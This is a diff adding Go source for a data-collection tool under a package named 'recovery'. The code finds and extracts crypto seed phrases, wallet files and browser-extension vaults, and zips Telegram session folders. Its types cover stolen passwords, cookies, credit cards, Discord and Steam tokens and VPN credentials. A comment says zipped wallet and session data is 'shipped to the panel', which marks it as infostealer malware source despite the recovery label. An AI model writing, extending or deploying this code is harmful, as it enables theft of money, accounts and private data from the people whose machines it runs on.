if phrase := tryNumberedList(content); phrase != "" {
|
||||
if !containsPhrase(found, phrase) {
|
||||
found = append(found, phrase)
|
||||
}
|
||||
}
|
||||
|
||||
// Strategy 4: comma-separated words
|
||||
if strings.Contains(content, ",") {
|
||||
normalized := strings.ReplaceAll(content, ",", " ")
|
||||
if phrase := tryExtractPhrase(normalized); phrase != "" {
|
||||
if !containsPhrase(found, phrase) {
|
||||
found = append(found, phrase)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return found
|
||||
}
|
||||
|
||||
// tryExtractPhrase checks if text contains a valid seed phrase
|
||||
func tryExtractPhrase(text string) string {
|
||||
words := strings.Fields(text)
|
||||
if isValidSeedPhrase(words) {
|
||||
return strings.Join(words, " ")
|
||||
}
|
||||
|
||||
// Try sliding window for phrases embedded in longer text
|
||||
for _, count := range []int{24, 21, 18, 15, 12} {
|
||||
if len(words) < count {
|
||||
continue
|
||||
}
|
||||
for i := 0; i <= len(words)-count; i++ {
|
||||
window := words[i : i+count]
|
||||
if isValidSeedPhrase(window) {
|
||||
return strings.Join(window, " ")
|
||||
}
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// tryNumberedList extracts words from numbered list format:
|
||||
// "1. abandon\n2. ability\n3. able\n..."
|
||||
func tryNumberedList(content string) string {
|
||||
lines := strings.Split(content, "\n")
|
||||
var words []string
|
||||
for _, line := range lines {
|
||||
line = strings.TrimSpace(line)
|
||||
if line == "" {
|
||||
continue
|
||||
}
|
||||
cleaned := numberedLineRe.ReplaceAllString(line, "")
|
||||
cleaned = strings.TrimSpace(cleaned)
|
||||
if cleaned == "" {
|
||||
continue
|
||||
}
|
||||
// Each numbered line should have exactly one word
|
||||
lineWords := strings.Fields(cleaned)
|
||||
if len(lineWords) == 1 && isBIP39Word(lineWords[0]) {
|
||||
words = append(words, lineWords[0])
|
||||
}
|
||||
}
|
||||
if isValidSeedPhrase(words) {
|
||||
return strings.Join(words, " ")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func isValidSeedPhrase(words []string) bool {
|
||||
if !validSeedLengths[len(words)] {
|
||||
return false
|
||||
}
|
||||
for _, w := range words {
|
||||
if !isBIP39Word(w) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
// isBIP39Word checks if a word matches BIP39 characteristics:
|
||||
// lowercase a-z only, 3-8 characters.
|
||||
func isBIP39Word(w string) bool {
|
||||
if len(w) < 3 || len(w) > 8 {
|
||||
return false
|
||||
}
|
||||
for _, c := range w {
|
||||
if c < 'a' || c > 'z' {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func containsPhrase(phrases []string, phrase string) bool {
|
||||
for _, p := range phrases {
|
||||
if p == phrase {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -0,0 +1,234 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/types"
|
||||
"recovery/recovery/ziputil"
|
||||
)
|
||||
|
||||
type telegramPathConfig struct {
|
||||
name string
|
||||
subPath string
|
||||
base string
|
||||
}
|
||||
|
||||
var tdataSessionFiles = map[string]bool{
|
||||
"key_datas": true,
|
||||
"usertag": true,
|
||||
"settings0": true,
|
||||
"settings1": true,
|
||||
"configs": true,
|
||||
}
|
||||
|
||||
func isTdataSessionDir(name string) bool {
|
||||
if len(name) != 16 {
|
||||
return false
|
||||
}
|
||||
for _, c := range name {
|
||||
if !((c >= '0' && c <= '9') || (c >= 'A' && c <= 'F') || (c >= 'a' && c <= 'f')) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
return true
|
||||
}
|
||||
|
||||
func ScanTelegram() []types.TelegramResult {
|
||||
var results []types.TelegramResult
|
||||
|
||||
for _, tp := range getTelegramPaths() {
|
||||
base := resolveTelegramBase(tp.base)
|
||||
if base == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
tdataDir := filepath.Join(base, tp.subPath)
|
||||
if _, err := os.Stat(tdataDir); err != nil {
|
||||
continue
|
||||
}
|
||||
|
||||
accounts := findTelegramAccounts(tdataDir)
|
||||
for _, acc := range accounts {
|
||||
results = append(results, types.TelegramResult{
|
||||
Account: acc.account,
|
||||
Path: acc.path,
|
||||
Files: acc.files,
|
||||
Size: acc.size,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return results
|
||||
}
|
||||
|
||||
type telegramAccount struct {
|
||||
account string
|
||||
path string
|
||||
files int
|
||||
size int64
|
||||
}
|
||||
|
||||
func findTelegramAccounts(tdataDir string) []telegramAccount {
|
||||
var accounts []telegramAccount
|
||||
|
||||
entries, err := os.ReadDir(tdataDir)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
hasKeyData := false
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() && e.Name() == "key_datas" {
|
||||
hasKeyData = true
|
||||
break
|
||||
}
|
||||
}
|
||||
|
||||
if hasKeyData {
|
||||
files, size := countTdataFiles(tdataDir)
|
||||
if files > 0 {
|
||||
accounts = append(accounts, telegramAccount{
|
||||
account: "Main",
|
||||
path: tdataDir,
|
||||
files: files,
|
||||
size: size,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if !e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if !isTdataSessionDir(name) {
|
||||
continue
|
||||
}
|
||||
sessionDir := filepath.Join(tdataDir, name)
|
||||
sessionEntries, err := os.ReadDir(sessionDir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
hasData := false
|
||||
for _, se := range sessionEntries {
|
||||
if !se.IsDir() {
|
||||
hasData = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if hasData {
|
||||
files, size := countTdataSessionFiles(sessionDir)
|
||||
accounts = append(accounts, telegramAccount{
|
||||
account: name,
|
||||
path: sessionDir,
|
||||
files: files,
|
||||
size: size,
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
return accounts
|
||||
}
|
||||
|
||||
func countTdataFiles(tdataDir string) (int, int64) {
|
||||
var count int
|
||||
var totalSize int64
|
||||
|
||||
entries, err := os.ReadDir(tdataDir)
|
||||
if err != nil {
|
||||
return 0, 0
|
||||
}
|
||||
|
||||
for _, e := range entries {
|
||||
if e.IsDir() {
|
||||
continue
|
||||
}
|
||||
name := e.Name()
|
||||
if tdataSessionFiles[name] || strings.HasSuffix(name, "s") && tdataSessionFiles[strings.TrimSuffix(name, "s")] {
|
||||
info, err := e.Info()
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
count++
|
||||
totalSize += info.Size()
|
||||
}
|
||||
}
|
||||
|
||||
return count, totalSize
|
||||
}
|
||||
|
||||
func countTdataSessionFiles(dir string) (int, int64) {
|
||||
var count int
|
||||
var totalSize int64
|
||||
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
count++
|
||||
totalSize += info.Size()
|
||||
return nil
|
||||
})
|
||||
|
||||
return count, totalSize
|
||||
}
|
||||
|
||||
func ZipTelegram(path string) ([]byte, error) {
|
||||
info, err := os.Stat(path)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if !info.IsDir() {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
// If this is a session subfolder (hex name), just zip its contents directly
|
||||
if isTdataSessionDir(filepath.Base(path)) {
|
||||
return ziputil.ZipDirectory(path)
|
||||
}
|
||||
|
||||
// Otherwise this is the tdata root — zip key files + session subdirs
|
||||
return zipTdataRoot(path)
|
||||
}
|
||||
|
||||
func zipTdataRoot(tdataDir string) ([]byte, error) {
|
||||
entries, err := os.ReadDir(tdataDir)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var filesToZip []string
|
||||
|
||||
for _, e := range entries {
|
||||
name := e.Name()
|
||||
if e.IsDir() {
|
||||
if isTdataSessionDir(name) {
|
||||
sessionDir := filepath.Join(tdataDir, name)
|
||||
filepath.Walk(sessionDir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
if info.Size() < 50*1024*1024 {
|
||||
filesToZip = append(filesToZip, path)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
}
|
||||
} else {
|
||||
if tdataSessionFiles[name] || strings.HasPrefix(name, "key_data") || strings.HasPrefix(name, "map") {
|
||||
info, _ := e.Info()
|
||||
if info != nil && info.Size() < 50*1024*1024 {
|
||||
filesToZip = append(filesToZip, filepath.Join(tdataDir, name))
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
if len(filesToZip) == 0 {
|
||||
return nil, os.ErrNotExist
|
||||
}
|
||||
|
||||
return ziputil.ZipFiles(filesToZip, tdataDir)
|
||||
}
|
||||
@@ -0,0 +1,51 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func getTelegramPaths() []telegramPathConfig {
|
||||
if runtime.GOOS == "darwin" {
|
||||
return []telegramPathConfig{
|
||||
{"Telegram Desktop", "Telegram Desktop/tdata", "appdata"},
|
||||
{"Kotatogram", "Kotatogram Desktop/tdata", "appdata"},
|
||||
{"64Gram", "64Gram Desktop/tdata", "appdata"},
|
||||
}
|
||||
}
|
||||
// Linux
|
||||
return []telegramPathConfig{
|
||||
{"Telegram Desktop", "TelegramDesktop/tdata", "home_data"},
|
||||
{"Telegram Desktop (flatpak)", ".var/app/org.telegram.desktop/data/TelegramDesktop/tdata", "home"},
|
||||
{"Telegram Desktop (snap)", "snap/telegram-desktop/current/.local/share/TelegramDesktop/tdata", "home"},
|
||||
{"Kotatogram", "KotatogramDesktop/tdata", "home_data"},
|
||||
{"64Gram", "64Gram Desktop/tdata", "home_data"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveTelegramBase(base string) string {
|
||||
home, _ := os.UserHomeDir()
|
||||
switch base {
|
||||
case "home":
|
||||
return home
|
||||
case "home_data":
|
||||
xdg := os.Getenv("XDG_DATA_HOME")
|
||||
if xdg != "" {
|
||||
return xdg
|
||||
}
|
||||
return filepath.Join(home, ".local", "share")
|
||||
case "appdata":
|
||||
if runtime.GOOS == "darwin" {
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
return filepath.Join(home, ".config")
|
||||
case "localappdata":
|
||||
return filepath.Join(home, ".local", "share")
|
||||
case "userprofile":
|
||||
return home
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
import "os"
|
||||
|
||||
func getTelegramPaths() []telegramPathConfig {
|
||||
return []telegramPathConfig{
|
||||
{"Telegram Desktop", `Telegram Desktop\tdata`, "appdata"},
|
||||
{"Telegram Desktop (alt)", `Telegram Desktop\tdata`, "userprofile"},
|
||||
{"Kotatogram", `Kotatogram Desktop\tdata`, "appdata"},
|
||||
{"64Gram", `64Gram Desktop\tdata`, "appdata"},
|
||||
{"Unigram", `Unigram\$local\tdata`, "localappdata"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveTelegramBase(base string) string {
|
||||
switch base {
|
||||
case "appdata":
|
||||
return os.Getenv("APPDATA")
|
||||
case "localappdata":
|
||||
return os.Getenv("LOCALAPPDATA")
|
||||
case "userprofile":
|
||||
return os.Getenv("USERPROFILE")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,179 @@
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"bufio"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"regexp"
|
||||
"strings"
|
||||
|
||||
"recovery/recovery/browser"
|
||||
"recovery/recovery/types"
|
||||
)
|
||||
|
||||
type walletConfig struct {
|
||||
Name string
|
||||
SubPath string
|
||||
Base string // "appdata", "localappdata", "userprofile", "home"
|
||||
}
|
||||
|
||||
var ethAddrRe = regexp.MustCompile(`0x[0-9a-fA-F]{40}`)
|
||||
var vaultRe = regexp.MustCompile(`\{"data":"[A-Za-z0-9+/=]+","iv":"[A-Za-z0-9+/=]+","salt":"[A-Za-z0-9+/=]+(?:","lib":"[^"]*")?\}`)
|
||||
|
||||
const maxFileReadSize = 10 * 1024 * 1024 // 10MB per file
|
||||
const maxAddresses = 50
|
||||
|
||||
func ScanWallets() []types.WalletResult {
|
||||
var results []types.WalletResult
|
||||
results = append(results, scanDesktopWallets()...)
|
||||
results = append(results, scanBrowserWalletData()...)
|
||||
return results
|
||||
}
|
||||
|
||||
func scanDesktopWallets() []types.WalletResult {
|
||||
var results []types.WalletResult
|
||||
for _, w := range getDesktopWalletPaths() {
|
||||
base := resolveWalletBase(w.Base)
|
||||
if base == "" {
|
||||
continue
|
||||
}
|
||||
|
||||
dir := filepath.Join(base, w.SubPath)
|
||||
info, err := os.Stat(dir)
|
||||
if err != nil || !info.IsDir() {
|
||||
continue
|
||||
}
|
||||
|
||||
files, totalSize := countDirContents(dir)
|
||||
if files == 0 {
|
||||
continue
|
||||
}
|
||||
|
||||
wr := types.WalletResult{
|
||||
Name: w.Name,
|
||||
Type: "desktop",
|
||||
Path: dir,
|
||||
Files: files,
|
||||
Size: totalSize,
|
||||
}
|
||||
wr.Addresses = extractAddressesFromDir(dir)
|
||||
results = append(results, wr)
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func scanBrowserWalletData() []types.WalletResult {
|
||||
var results []types.WalletResult
|
||||
for _, cfg := range browser.Browsers {
|
||||
if cfg.IsFirefox {
|
||||
continue
|
||||
}
|
||||
profiles := browser.FindProfileDirs(cfg)
|
||||
for _, profile := range profiles {
|
||||
lesDir := filepath.Join(profile.Path, "Local Extension Settings")
|
||||
for extID, walletName := range knownWalletExtensions {
|
||||
extDataDir := filepath.Join(lesDir, extID)
|
||||
info, err := os.Stat(extDataDir)
|
||||
if err != nil || !info.IsDir() {
|
||||
continue
|
||||
}
|
||||
files, totalSize := countDirContents(extDataDir)
|
||||
if files == 0 {
|
||||
continue
|
||||
}
|
||||
wr := types.WalletResult{
|
||||
Name: fmt.Sprintf("%s (%s/%s)", walletName, cfg.Name, profile.Name),
|
||||
Type: "extension",
|
||||
Path: extDataDir,
|
||||
Files: files,
|
||||
Size: totalSize,
|
||||
}
|
||||
wr.Addresses = extractAddressesFromDir(extDataDir)
|
||||
wr.VaultData = extractVaultData(extDataDir)
|
||||
results = append(results, wr)
|
||||
}
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
|
||||
func extractAddressesFromDir(dir string) []string {
|
||||
seen := make(map[string]bool)
|
||||
var addrs []string
|
||||
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() || info.Size() == 0 || info.Size() > maxFileReadSize {
|
||||
return nil
|
||||
}
|
||||
if len(addrs) >= maxAddresses {
|
||||
return filepath.SkipAll
|
||||
}
|
||||
|
||||
f, err := os.Open(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
scanner := bufio.NewScanner(f)
|
||||
scanner.Buffer(make([]byte, 256*1024), 256*1024)
|
||||
for scanner.Scan() {
|
||||
matches := ethAddrRe.FindAllString(scanner.Text(), -1)
|
||||
for _, m := range matches {
|
||||
addr := strings.ToLower(m)
|
||||
if !seen[addr] {
|
||||
seen[addr] = true
|
||||
addrs = append(addrs, m)
|
||||
if len(addrs) >= maxAddresses {
|
||||
return filepath.SkipAll
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
})
|
||||
return addrs
|
||||
}
|
||||
|
||||
func extractVaultData(dir string) string {
|
||||
var vault string
|
||||
filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() || vault != "" {
|
||||
return nil
|
||||
}
|
||||
ext := strings.ToLower(filepath.Ext(path))
|
||||
if ext != ".ldb" && ext != ".log" {
|
||||
return nil
|
||||
}
|
||||
if info.Size() == 0 || info.Size() > maxFileReadSize {
|
||||
return nil
|
||||
}
|
||||
|
||||
data, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return nil
|
||||
}
|
||||
match := vaultRe.Find(data)
|
||||
if match != nil {
|
||||
vault = string(match)
|
||||
return filepath.SkipAll
|
||||
}
|
||||
return nil
|
||||
})
|
||||
return vault
|
||||
}
|
||||
|
||||
func countDirContents(dir string) (int, int64) {
|
||||
var count int
|
||||
var totalSize int64
|
||||
filepath.Walk(dir, func(_ string, info os.FileInfo, err error) error {
|
||||
if err != nil || info.IsDir() {
|
||||
return nil
|
||||
}
|
||||
count++
|
||||
totalSize += info.Size()
|
||||
return nil
|
||||
})
|
||||
return count, totalSize
|
||||
}
|
||||
@@ -0,0 +1,60 @@
|
||||
//go:build !windows
|
||||
|
||||
package scanner
|
||||
|
||||
import (
|
||||
"os"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
)
|
||||
|
||||
func getDesktopWalletPaths() []walletConfig {
|
||||
if runtime.GOOS == "darwin" {
|
||||
return []walletConfig{
|
||||
{"Atomic", "atomic/Local Storage/leveldb", "appdata"},
|
||||
{"Exodus", "Exodus/exodus.wallet", "appdata"},
|
||||
{"Electrum", "Electrum/wallets", "home_dot"},
|
||||
{"Ethereum", "Ethereum/keystore", "home_dot"},
|
||||
{"Coinomi", "Coinomi/wallets", "appdata"},
|
||||
}
|
||||
}
|
||||
// Linux
|
||||
return []walletConfig{
|
||||
{"Atomic", "atomic/Local Storage/leveldb", "config"},
|
||||
{"Exodus", "Exodus/exodus.wallet", "config"},
|
||||
{"Electrum", ".electrum/wallets", "home"},
|
||||
{"Electrum-LTC", ".electrum-ltc/wallets", "home"},
|
||||
{"Ethereum", ".ethereum/keystore", "home"},
|
||||
{"Monero", "Monero/wallets", "home"},
|
||||
{"Armory", ".armory", "home"},
|
||||
{"Bytecoin", ".bytecoin", "home"},
|
||||
{"Coinomi", ".coinomi/Coinomi/wallets", "home"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveWalletBase(base string) string {
|
||||
home, _ := os.UserHomeDir()
|
||||
switch base {
|
||||
case "home", "userprofile":
|
||||
return home
|
||||
case "home_dot":
|
||||
return filepath.Join(home, ".")
|
||||
case "appdata":
|
||||
if runtime.GOOS == "darwin" {
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
return filepath.Join(home, ".config")
|
||||
case "config":
|
||||
xdg := os.Getenv("XDG_CONFIG_HOME")
|
||||
if xdg != "" {
|
||||
return xdg
|
||||
}
|
||||
return filepath.Join(home, ".config")
|
||||
case "localappdata":
|
||||
if runtime.GOOS == "darwin" {
|
||||
return filepath.Join(home, "Library", "Application Support")
|
||||
}
|
||||
return filepath.Join(home, ".local", "share")
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,37 @@
|
||||
//go:build windows
|
||||
|
||||
package scanner
|
||||
|
||||
import "os"
|
||||
|
||||
func getDesktopWalletPaths() []walletConfig {
|
||||
return []walletConfig{
|
||||
{"Atomic", `atomic\Local Storage\leveldb`, "appdata"},
|
||||
{"Exodus", `Exodus\exodus.wallet`, "appdata"},
|
||||
{"Electrum", `Electrum\wallets`, "appdata"},
|
||||
{"Electrum-LTC", `Electrum-LTC\wallets`, "appdata"},
|
||||
{"Zcash", `Zcash`, "appdata"},
|
||||
{"Armory", `Armory`, "appdata"},
|
||||
{"Bytecoin", `bytecoin`, "appdata"},
|
||||
{"Jaxx", `com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb`, "appdata"},
|
||||
{"Ethereum", `Ethereum\keystore`, "appdata"},
|
||||
{"Guarda", `Guarda\Local Storage\leveldb`, "appdata"},
|
||||
{"Coinomi", `Coinomi\Coinomi\wallets`, "appdata"},
|
||||
{"Monero", `Documents\Monero\wallets`, "userprofile"},
|
||||
}
|
||||
}
|
||||
|
||||
func resolveWalletBase(base string) string {
|
||||
switch base {
|
||||
case "appdata":
|
||||
return os.Getenv("APPDATA")
|
||||
case "localappdata":
|
||||
return os.Getenv("LOCALAPPDATA")
|
||||
case "userprofile":
|
||||
return os.Getenv("USERPROFILE")
|
||||
case "home":
|
||||
home, _ := os.UserHomeDir()
|
||||
return home
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,275 @@
|
||||
package types
|
||||
|
||||
type BrowserConfig struct {
|
||||
Name string
|
||||
UserDataPath string
|
||||
ProcessName string
|
||||
UseAppData bool
|
||||
IsFirefox bool
|
||||
FlatProfile bool
|
||||
}
|
||||
|
||||
type ProfileInfo struct {
|
||||
Name string
|
||||
Path string
|
||||
}
|
||||
|
||||
type CollectOptions struct {
|
||||
Browsers bool `json:"browsers"`
|
||||
Passwords bool `json:"passwords"`
|
||||
Cookies bool `json:"cookies"`
|
||||
Autofill bool `json:"autofill"`
|
||||
History bool `json:"history"`
|
||||
Bookmarks bool `json:"bookmarks"`
|
||||
CreditCards bool `json:"creditCards"`
|
||||
Discord bool `json:"discord"`
|
||||
Files bool `json:"files"`
|
||||
Wallets bool `json:"wallets"`
|
||||
Telegram bool `json:"telegram"`
|
||||
Keys bool `json:"keys"`
|
||||
Apps bool `json:"apps"`
|
||||
Gaming bool `json:"gaming"`
|
||||
VPNs bool `json:"vpns"`
|
||||
}
|
||||
|
||||
type ResolvedKeys struct {
|
||||
V10 []byte
|
||||
V20 []byte
|
||||
}
|
||||
|
||||
type PasswordResult struct {
|
||||
URL string `json:"url"`
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type CookieResult struct {
|
||||
Host string `json:"host"`
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
Path string `json:"path"`
|
||||
Secure bool `json:"secure"`
|
||||
HTTPOnly bool `json:"httpOnly"`
|
||||
ExpiresUTC int64 `json:"expiresUtc"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type AutofillResult struct {
|
||||
Name string `json:"name"`
|
||||
Value string `json:"value"`
|
||||
DateCreated int64 `json:"dateCreated"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type HistoryResult struct {
|
||||
URL string `json:"url"`
|
||||
Title string `json:"title"`
|
||||
VisitTimeUnix int64 `json:"visitTimeUnix"`
|
||||
VisitCount int64 `json:"visitCount"`
|
||||
LastVisitTime int64 `json:"lastVisitTime"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type BookmarkResult struct {
|
||||
Name string `json:"name"`
|
||||
URL string `json:"url"`
|
||||
Type string `json:"type"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type CreditCardResult struct {
|
||||
NameOnCard string `json:"nameOnCard"`
|
||||
ExpirationMonth int `json:"expirationMonth"`
|
||||
ExpirationYear int `json:"expirationYear"`
|
||||
CardNumber string `json:"cardNumber"`
|
||||
Nickname string `json:"nickname"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
}
|
||||
|
||||
type DiscordTokenResult struct {
|
||||
Token string `json:"token"`
|
||||
Source string `json:"source"`
|
||||
}
|
||||
|
||||
type FileResult struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
Ext string `json:"ext"`
|
||||
Size int64 `json:"size"`
|
||||
Modified int64 `json:"modified"`
|
||||
Dir string `json:"dir"`
|
||||
Tags []string `json:"tags,omitempty"`
|
||||
}
|
||||
|
||||
type ExtensionResult struct {
|
||||
ExtID string `json:"extId"`
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
Browser string `json:"browser"`
|
||||
Profile string `json:"profile"`
|
||||
Path string `json:"path"`
|
||||
Category string `json:"category,omitempty"`
|
||||
}
|
||||
|
||||
type WalletResult struct {
|
||||
Name string `json:"name"`
|
||||
Type string `json:"type"`
|
||||
Path string `json:"path"`
|
||||
Files int `json:"files"`
|
||||
Size int64 `json:"size"`
|
||||
Addresses []string `json:"addresses,omitempty"`
|
||||
VaultData string `json:"vaultData,omitempty"`
|
||||
}
|
||||
|
||||
type AppCredentialResult struct {
|
||||
Application string `json:"application"`
|
||||
Host string `json:"host,omitempty"`
|
||||
Port int `json:"port,omitempty"`
|
||||
Username string `json:"username,omitempty"`
|
||||
Password string `json:"password,omitempty"`
|
||||
Protocol string `json:"protocol,omitempty"`
|
||||
Extra string `json:"extra,omitempty"`
|
||||
}
|
||||
|
||||
type CollectionResult struct {
|
||||
Passwords []PasswordResult `json:"passwords,omitempty"`
|
||||
Cookies []CookieResult `json:"cookies,omitempty"`
|
||||
Autofill []AutofillResult `json:"autofill,omitempty"`
|
||||
History []HistoryResult `json:"history,omitempty"`
|
||||
Bookmarks []BookmarkResult `json:"bookmarks,omitempty"`
|
||||
CreditCards []CreditCardResult `json:"creditCards,omitempty"`
|
||||
DiscordTokens []DiscordTokenResult `json:"discordTokens,omitempty"`
|
||||
Files []FileResult `json:"files,omitempty"`
|
||||
Extensions []ExtensionResult `json:"extensions,omitempty"`
|
||||
Wallets []WalletResult `json:"wallets,omitempty"`
|
||||
Telegram []TelegramResult `json:"telegram,omitempty"`
|
||||
Keys []KeyResult `json:"keys,omitempty"`
|
||||
AppCredentials []AppCredentialResult `json:"appCredentials,omitempty"`
|
||||
Gaming *GamingResult `json:"gaming,omitempty"`
|
||||
VPNs *VPNResult `json:"vpns,omitempty"`
|
||||
Errors []string `json:"errors,omitempty"`
|
||||
}
|
||||
|
||||
type TelegramResult struct {
|
||||
Account string `json:"account"`
|
||||
Path string `json:"path"`
|
||||
Files int `json:"files"`
|
||||
Size int64 `json:"size"`
|
||||
}
|
||||
|
||||
type KeyResult struct {
|
||||
Type string `json:"type"`
|
||||
Name string `json:"name"`
|
||||
Path string `json:"path"`
|
||||
Size int64 `json:"size"`
|
||||
Content string `json:"content,omitempty"`
|
||||
}
|
||||
|
||||
type SeedResult struct {
|
||||
Source string `json:"source"`
|
||||
Path string `json:"path"`
|
||||
Phrase string `json:"phrase"`
|
||||
Words int `json:"words"`
|
||||
}
|
||||
|
||||
type GameInfo struct {
|
||||
ID string `json:"id"`
|
||||
Name string `json:"name"`
|
||||
Installed bool `json:"installed"`
|
||||
Running bool `json:"running"`
|
||||
}
|
||||
|
||||
type SteamResult struct {
|
||||
SteamPath string `json:"steamPath,omitempty"`
|
||||
AutoLogin string `json:"autoLogin,omitempty"`
|
||||
RememberPW bool `json:"rememberPw,omitempty"`
|
||||
Account string `json:"account,omitempty"`
|
||||
Token string `json:"token,omitempty"`
|
||||
SteamTokens []SteamTokenResult `json:"steamTokens,omitempty"`
|
||||
SSFNFiles []string `json:"ssfnFiles,omitempty"`
|
||||
Games []GameInfo `json:"games,omitempty"`
|
||||
}
|
||||
|
||||
// SteamTokenResult is one parsed Steam login/refresh token bound to a Steam ID.
|
||||
// Format: <steamid>.<jwt> (steamID is the part before the first dot).
|
||||
type SteamTokenResult struct {
|
||||
SteamID string `json:"steamId"`
|
||||
Token string `json:"token"`
|
||||
}
|
||||
|
||||
type BattleNetResult struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
|
||||
type EpicResult struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
|
||||
type RiotResult struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
|
||||
type UplayResult struct {
|
||||
Path string `json:"path"`
|
||||
Name string `json:"name"`
|
||||
}
|
||||
|
||||
type GamingResult struct {
|
||||
Steam *SteamResult `json:"steam,omitempty"`
|
||||
BattleNet []BattleNetResult `json:"battleNet,omitempty"`
|
||||
Epic []EpicResult `json:"epic,omitempty"`
|
||||
Riot []RiotResult `json:"riot,omitempty"`
|
||||
Uplay []UplayResult `json:"uplay,omitempty"`
|
||||
}
|
||||
|
||||
type NordVPNResult struct {
|
||||
Version string `json:"version"`
|
||||
Username string `json:"username"`
|
||||
Password string `json:"password"`
|
||||
}
|
||||
|
||||
type WireGuardResult struct {
|
||||
Name string `json:"name"`
|
||||
Interface string `json:"interface,omitempty"`
|
||||
Peer string `json:"peer,omitempty"`
|
||||
Endpoint string `json:"endpoint,omitempty"`
|
||||
}
|
||||
|
||||
type OpenVPNResult struct {
|
||||
Name string `json:"name"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
type MullvadResult struct {
|
||||
AccountNumber string `json:"accountNumber"`
|
||||
SettingsPath string `json:"settingsPath"`
|
||||
Content string `json:"content,omitempty"`
|
||||
}
|
||||
|
||||
type VPNResult struct {
|
||||
NordVPN []NordVPNResult `json:"nordvpn,omitempty"`
|
||||
WireGuard []WireGuardResult `json:"wireguard,omitempty"`
|
||||
OpenVPN []OpenVPNResult `json:"openvpn,omitempty"`
|
||||
Mullvad []MullvadResult `json:"mullvad,omitempty"`
|
||||
}
|
||||
|
||||
// Payload is a binary blob (zip) shipped to the panel, e.g. a wallet folder,
|
||||
// Telegram session or Steam login files. Sent together with the result over
|
||||
// E2EE so the panel can host + back it up.
|
||||
type Payload struct {
|
||||
Category string `json:"category"`
|
||||
Name string `json:"name"`
|
||||
Filename string `json:"filename"`
|
||||
Size int `json:"size"`
|
||||
Data []byte `json:"data"` // base64-encoded by the JSON layer
|
